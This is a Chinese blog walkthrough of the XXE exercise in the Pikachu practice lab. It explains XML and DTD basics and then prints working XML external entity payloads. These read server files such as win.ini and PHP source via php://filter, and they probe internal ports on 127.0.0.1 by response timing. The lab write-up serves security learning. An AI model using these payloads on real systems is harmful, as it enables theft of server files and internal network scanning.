pikachu之XXE

XXE:XML External Entity attack(XML外部实体攻击)。
其实XXE就是攻击者自定义了XML文件进行了执行,
已知的最终效果就是读取系统文件或DOS攻击。

理解XXE,其实就是学习XML。

什么是 XML?

XML 指可扩展标记语言(EXtensible Markup Language)

XML 是一种标记语言,很类似 HTML

XML 的设计宗旨是传输数据,而非显示数据

XML 标签没有被预定义。您需要自行定义标签。

XML 被设计为具有自我描述性。

XML 与 HTML 的主要差异

XML 不是 HTML 的替代。

XML 和 HTML 为不同的目的而设计:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

XML 不是对 HTML 的替代,XML 是对 HTML 的补充。

XML 不会替代 HTML,理解这一点很重要。在大多数 web 应用程序中,XML 用于传输数据,而 HTML 用于格式化并显示数据。

对 XML 最好的描述是:

XML 是独立于软件和硬件的信息传输工具。

DTD内部文档声明

当DTD存在于XML源文件中,由以下格式进行包裹

<!DOCTYPE 根元素 [元素声明]>
可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。
这就是DTD与XML之间的使用方法。

然后XML文件对于DTD的内容进行引用

<?xml version="1.0"?>
<!DOCTYPE note [ 
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

具体xxe攻击手段参考下面链接

https://lalajun.github.io/2019/12/03/WEB-XXE/

开始正题

随意输入点什么,会有个贴心的提示,【滑稽】
pikachu之XXE

我就试试输入一个xml,注意到读取时会有一点区别,正是利用这一点来读取我们想要的数据的
pikachu之XXE
pikachu之XXE

注意:这里的回显,不能判断是否支持外部实体,还需要进一步的测试

查看系统文件内容

因为c:/windows/win.ini是每个windows系统都有的文件,

如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞

成功显示后,要想读取其他敏感文件只需要替换路径即可

pikachu之XXE

查看PHP源代码

查看PHP源码一般用PHP伪协议PHP://filter来获取,在拿去base64解码

<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy/phpstudy_pro/WWW/pikachu/vul/rce/rce.php"> ]>
<note>&xxe;</note>

pikachu之XXE

pikachu之XXE

爆破开放端口

这个我是看了大佬的博客学习到的,先看两端代码,虽然返回结果都是那段“友善”的提示,
但是肉眼可见处理速度是不同的
原因是服务器80端口是开放的,而81端口是关闭的

<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]>
<note>&xxe;</note>
<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81"> ]>
<note>&xxe;</note>

这时就会想到可不可以用BP爆破一下试试,看请求包和回应包的时间间隔来判断是否开放
其实只有80端口开放了

pikachu之XXE
pikachu之XXE

上一篇:pikachu之敏感信息泄露


下一篇:pikachu之sql(9)